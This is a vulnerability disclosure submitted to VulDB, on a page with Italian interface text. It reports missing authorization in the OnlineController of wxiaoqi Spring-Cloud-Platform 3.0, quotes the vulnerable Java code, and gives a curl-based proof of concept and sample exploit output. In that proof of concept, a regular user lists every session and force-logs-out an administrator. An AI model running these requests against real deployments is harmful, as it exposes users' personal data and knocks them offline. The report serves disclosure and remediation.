Invia #913789: wxiaoqi Spring-Cloud-Platform 3.0 Missing Authorizationinformazioni

Titolowxiaoqi Spring-Cloud-Platform 3.0 Missing Authorization
Descrizione### Summary `OnlineController` in Spring-Cloud-Platform exposes session management endpoints (`GET /online/page` and `DELETE /online/{tokenId}`) without any method-level authorization check. The controller has no `@PreAuthorize`, `@Secured`, or any Spring Security annotation, and the `ace-admin` module has no `@EnableGlobalMethodSecurity` configuration. Any authenticated user can list ALL active sessions (including administrators') — exposing tokenIds, IP addresses, usernames, browser types, and OS fingerprints — and can force-logout ANY user by deleting their Redis session entry. **CVSS 3.1 Base Score: 8.1 (High)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H` ### Details **Affected Component:** `aceModules/ace-admin/.../auth/controller/OnlineController.java` **Vulnerability 1 — Session Data Exposure (`GET /online/page`):** ```java @RestController @RequestMapping("online") public class OnlineController { // NO @PreAuthorize, NO @Secured — any authenticated user can call this @RequestMapping("/page") public TableResultResponse<OnlineLog> getOnlineInfo( @RequestParam int limit, @RequestParam int offset) { // Iterates Redis ZSet "admin:token" — returns ALL users' sessions Set<String> range = stringRedisTemplate.opsForZSet() .reverseRange(RedisKeyConstant.REDIS_KEY_TOKEN, offset, offset + limit - 1); List<OnlineLog> list = new ArrayList<>(); for (String s : range) { list.add(JSON.parseObject(s, OnlineLog.class)); } return new TableResultResponse<>(list.size(), list); } ``` This endpoint returns `OnlineLog` objects containing: - `tokenId` — live session identifier stored in Redis - `userName`, `userId` — PII - `ipaddr` — client IP address - `loginLocation` — geographic location - `browser`, `os` — device fingerprint - `loginTime` — session creation timestamp **Vulnerability 2 — Arbitrary Force Logout (`DELETE /online/{tokenId}`):** ```java // NO ownership check — deletes ANY user's session @RequestMapping("/{id}") public ObjectRestResponse forceLogout(@PathVariable("id") String tokenId) { stringRedisTemplate.delete(RedisKeyConstant.REDIS_KEY_TOKEN + ":" + tokenId); stringRedisTemplate.opsForZSet().remove(RedisKeyConstant.REDIS_KEY_TOKEN, tokenId); return new ObjectRestResponse<>(); } } ``` No verification that the caller owns the session being terminated. **Independence from SCP-VULN-1:** This vulnerability exists independently of the fail-open authorization model (SCP-VULN-1). `OnlineController` itself has **no method-level authorization** — no `@PreAuthorize`, `@Secured`, or any access control annotation. Even if the gateway's `PermissionService` were configured to fail-closed (denying access to unregistered routes), the controller would still lack authorization enforcement. The gateway is the **only** authorization layer; the application service itself has none. In the current implementation, SCP-VULN-1 (fail-open) makes these endpoints reachable by any authenticated user. But the root cause of SCP-VULN-2 is the missing authorization in the controller itself, not the gateway's fail-open behavior. **Session Hijacking Assessment:** The exposed `tokenId` **cannot** be used for session hijacking. The gateway (`AccessGatewayFilter.getJWTUser()`) validates: 1. **JWT signature** (RS256 RSA public key) — the attacker does not have the JWT, only the `tokenId` 2. **Redis active session** (`admin:token:{tokenId}`) — confirmed present A `tokenId` is a random UUID generated at login and embedded inside the signed JWT. It is not transmitted as a standalone credential. Without the original JWT (which the attacker cannot reconstruct from `tokenId` alone), the `tokenId` cannot be used to authenticate. Therefore, the `tokenId` leak enables **enumeration and force-logout (DoS)**, not session hijacking. ### PoC A reproduction application and automated PoC script are provided at `pocs/spring-cloud-platform/poc_failopen_authz/`. **Prerequisites:** - Java 17+, Maven, Redis (local or Docker) - The reproduction app replicates `OnlineController`, `AccessGatewayFilter` (JWT + Redis session validation), and `AuthServiceImpl` (Redis session storage) **Steps to reproduce:** 1. Build and run the reproduction app: ```bash cd pocs/spring-cloud-platform/poc_failopen_authz mvn -q package -DskipTests -f app/pom.xml java -jar app/target/scp-failopen-poc-1.0.0.jar & ``` 2. Login as both admin and regular user: ```bash # Admin curl -X POST http://localhost:19092/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"admin123"}' # Regular user curl -X POST http://localhost:19092/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"user","password":"user123"}' ``` 3. Regular user lists ALL sessions (including admin's): ```bash curl http://localhost:19092/online/page?limit=10&offset=0 \ -H "Authorization: <user_token>" # Returns admin's tokenId, IP, username, browser, OS ``` 4. Regular user force-logouts admin (DoS): ```bash curl -X DELETE http://localhost:19092/online/<admin_tokenId> \ -H "Authorization: <user_token>" # Admin's session deleted from Redis ``` 5. Verify admin's JWT is now rejected: ```bash curl http://localhost:19092/api/user/info \ -H "Authorization: <admin_token>" # Returns: 401 "User token expired!" ``` 6. Run the automated PoC: ```bash python3 exploit.py ``` **Expected output:** ``` [Step 5] SCP-VULN-1: Regular user accesses /online/page (NOT permitted) [PASS] FAIL-OPEN CONFIRMED: Regular user got 200 on /online/page [INFO] Total sessions exposed: 2 [INFO] → tokenId=9b77ab8bc581... user=admin ip=192.168.1.100 os=Linux [INFO] → tokenId=73372894d1c9... user=user ip=192.168.1.100 os=Linux [Step 6] SCP-VULN-2: Extracting admin session data [PASS] Admin session data extracted by regular user [Step 7] SCP-VULN-2: Force-logout admin (DoS) [PASS] Force-logout executed by regular user [INFO] Admin JWT after force-logout: HTTP 401 [PASS] Admin session destroyed — admin JWT rejected (DoS confirmed) ``` ### Impact **Vulnerability type:** CWE-862 — Missing Authorization **Who is impacted:** Any Spring-Cloud-Platform deployment. Any authenticated user can: 1. **Enumerate all active sessions** (`GET /online/page`) — exposes tokenId, username, userId, IP address, geographic location, browser type, OS, and login time for every logged-in user, including administrators. This is an information disclosure of PII and session metadata (Confidentiality: High). 2. **Force-logout any user** (`DELETE /online/{tokenId}`) — the attacker can enumerate all sessions, then systematically delete every session in Redis. This enables mass denial-of-service: an attacker can instantly log out all users including all administrators, effectively shutting down the platform. The attack can be repeated continuously as users log back in (Availability: High). **What is NOT impacted:** Session hijacking is not possible. The exposed `tokenId` cannot be used to authenticate because the gateway validates the JWT signature (RS256) and the Redis session entry. Without the original signed JWT, the `tokenId` alone provides no authentication capability. **Remediation:** - Add `@PreAuthorize("hasRole('ADMIN')")` to both `OnlineController` endpoints - For non-admin users, filter sessions to show only their own - Validate `tokenId` ownership before allowing deletion - Enable `@EnableGlobalMethodSecurity(prePostEnabled = true)` in `ace-admin`
Fonte⚠️ https://github.com/wxiaoqi/Spring-Cloud-Platform/issues/65
Utente
 emiya (UID 100287)
Sottomissione03/08/2026 07:47 (1 mese fa)
Moderazione12/09/2026 20:30 (1 month later)
StatoAccettato
Voce VulDB403177 [wxiaoqi Spring-Cloud-Platform 1.0/2.2/3.0 OnlineController.java OnlineController.getOnlineInfo escalationi di privilegi]
Punti20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!